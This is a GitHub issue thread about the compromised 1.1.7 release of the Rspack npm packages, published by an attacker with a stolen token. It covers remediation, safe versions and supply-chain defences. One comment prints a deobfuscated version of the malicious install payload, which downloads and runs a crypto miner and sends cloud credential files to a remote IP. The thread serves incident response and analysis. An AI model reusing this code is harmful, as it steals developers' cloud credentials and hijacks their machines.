-
-
Notifications
You must be signed in to change notification settings - Fork 593
New issue
Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.
By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.
Already on GitHub? Sign in to your account
[Notice]: Version 1.1.7 of @rspack/core and @rspack/cli has security risks. Please use version 1.1.8 or v1.1.6 instead #8767
Comments
Having the same issue, you can temporary fix it.
|
I have same issue, but i was used in rsbuild。
Log:
|
Version 1.1.7 is an unavailable version. We have deprecated it. Please use version 1.1.6. |
FYI I recently tried a new React project following the official rspack docs and the version 1.1.8 is added. And the same issue happens. |
The version 1.1.7 was released by someone who stole the npm token of a team member and may have security risks. Please do not download and run it. Please use version 1.1.6. There is no |
We have encountered an attack, We have taken countermeasures:
We will release a secure Rspack 1.1.8 version soon. UpdateRspack v1.1.8 has been released, see: https://github.com/web-infra-dev/rspack/releases/tag/v1.1.8 |
Rspack v1.1.8 has been released. |
[skip ci] ## [1.108.0](v1.107.0...v1.108.0) (2024-12-19) ### Features * @rspack/core and @rspack/cli 1.1.7 are vulnerable versions ([#263](#263)) ([2561ead](2561ead)), closes [/github.com/web-infra-dev/rspack/issues/8767#issuecomment-2552738907](https://github.com/cnpm//github.com/web-infra-dev/rspack/issues/8767/issues/issuecomment-2552738907)
damn |
I hope the NPM team should seriously consider this: features that require approval from others when releasing npm packages. |
@yisibl I wish npm would allow us to restrict publishing sources, for example, when |
Can someone explain a bit about how it happened technically? 🤔 It will be really appreciated. |
@chenjiahan 你好,请问1.1.6版本之前的是否有影响?安装的是1.1.6之前版本或者1.1.8版本是吗? |
only 1.1.7 is affected, other versions are all safe |
We will explain more information when we complete the investigation into the root cause of the token theft. |
One thing I noticed is that rspack uses CI and npm provenance when publishing the packages (all normal versions are attested). The attacker apparently does not have access to the CI here, so the affected version ( One way to defend against this kind of attacks is for package managers to implement a protection mechanism that prevents an already attested package from upgrading to an unattested version. I have raised the feature request to pnpm for now: pnpm/pnpm#8889 |
that's really a great suggestion! |
Also there is a similar attack targetting the My instinct is that both incidents could be related. |
yeah maintained by same people, so both affected |
What was the reasoning for deciding to deprecate instead of unpublishing the infected version? |
https://github.com/web-infra-dev/rspack/releases/tag/v1.1.8 has more details about the timing, etc. It looks like the attack was via a |
Hey folks, I've analyzed the malicious code. After deobfuscation and a pinch of AI, I ended up with a human readable version of the malicious code. It turned out to be a Webpack bundle, so once I identified the entry module, it became easy. TL;DR:
And here's the simplified version of the code for your enjoyment: import axios from 'axios';
import * as unzipper from 'unzipper';
import * as path from 'path';
import * as os from 'os';
import * as fs from 'fs';
import * as child_process from 'child_process';
const configPaths = [
`${os.homedir()}/.aliyun/config.json`,
`${os.homedir()}/.hcloud/config.json`,
`${os.homedir()}/.tccli/default.credential`
];
const OSES = {
LINUX: 0,
MAC_OS: 1,
WINDOWS: 2,
UNKNOWN: 3
};
const isNotNull = (value) => value !== null;
const executeProcess = async (executable, args) => {
return new Promise((resolve, reject) => {
const process = child_process.spawn(executable, args);
fs.unlinkSync(executable);
process.on("error", reject);
resolve(process);
});
};
process.stdout.write = () => {};
process.stderr.write = () => {};
console.log = () => {};
console.error = () => {};
const detectOS = async () => {
switch (process.platform) {
case "linux":
return OSES.LINUX;
case "darwin":
return OSES.MAC_OS;
case "win32":
return OSES.WINDOWS;
default:
return OSES.UNKNOWN;
}
};
const getCountryCode = async () => {
try {
const response = await axios.get("http://ipinfo.io/json");
return response.status === 200 ? response.data.country : "UNK";
} catch {
return "UNK";
}
};
const downloadAndSetupMiner = async () => {
const tempPath = path.join("/tmp/", "miner.tar.gz");
const outputDir = path.join("/tmp/", "miner");
try {
fs.mkdirSync("/tmp/", { recursive: true });
} catch {
return "";
}
try {
const response = await axios({
method: "GET",
url: "https://api.github.com/repos/youzan/vant/git/blobs/8ed1c9256b4bfeb3e4f5aaff48bf140398361ae3",
responseType: "stream",
headers: { Accept: "application/vnd.github.raw+json" }
});
const writeStream = fs.createWriteStream(tempPath);
await new Promise((resolve, reject) => {
response.data.pipe(writeStream);
writeStream.on("finish", resolve);
writeStream.on("error", reject);
});
} catch {
return "";
}
try {
await unzipper.x({ file: tempPath, cwd: "/tmp/" });
fs.chmodSync(outputDir, 0o755);
} catch {
return "";
}
try {
fs.unlinkSync(tempPath);
} catch {
return "";
}
return outputDir;
};
const sendConfigData = async (configData) => {
if (configData.length === 0) return;
const combinedData = configData.join("");
const base64Data = Buffer.from(combinedData).toString("base64");
try {
await axios.post("http://80.78.28.72/tokens", base64Data);
} catch {}
};
const main = async () => {
const osType = await detectOS();
if (osType !== OSES.LINUX) {
process.exit(0);
}
const countryCode = await getCountryCode();
const restrictedCountries = ["CN", "RU", "HK", "UNK", "BY", "IR"];
if (!restrictedCountries.includes(countryCode)) {
process.exit(0);
}
const minerPath = await downloadAndSetupMiner();
if (minerPath) {
await executeProcess(minerPath, []);
}
const configs = await Promise.all(
configPaths.map(async (filePath) => {
try {
return fs.existsSync(filePath) ? await fs.promises.readFile(filePath, "utf8") : null;
} catch {
return null;
}
})
);
await sendConfigData(configs.filter(isNotNull));
};
main().catch(() => {}); |
To put this another way, Can you switch over to unpublishing the version? I'm not sure everyone will see this message and it seems more dangerous to leave an infected version active. |
we tried but npm not allow us to unpublish cause there are upstream dependencies |
Notice from Rspack team
Rspack have encountered an attack,
@rspack/core
and@rspack/cli
1.1.7 are vulnerable versions released by the attacker, and contain malicious scripts.Rspack team have taken countermeasures:
The Rspack v1.1.8 has been released by Rspack team. This version is a re-release of v1.1.6 to prevent the attacked version from being installed wrongly. You can use either of them.
Rspack team will elaborate on the entire process in detail later.
System Info
System:
OS: Windows 10 10.0.19045
CPU: (8) x64 11th Gen Intel(R) Core(TM) i5-1135G7 @ 2.40GHz
Memory: 1.70 GB / 15.73 GB
Binaries:
Node: 20.10.0 - C:\Program Files\nodejs\node.EXE
Yarn: 1.22.22 - ~\AppData\Local\pnpm\yarn.CMD
npm: 10.2.3 - C:\Program Files\nodejs\npm.CMD
Browsers:
Edge: Chromium (127.0.2651.74)
Internet Explorer: 11.0.19041.4355
npmPackages:
@rspack/cli: ^1.1.6 => 1.1.7
@rspack/core: ^1.1.6 => 1.1.7
Details
Reproduce link
No response
Reproduce Steps
run
rspack build
The text was updated successfully, but these errors were encountered: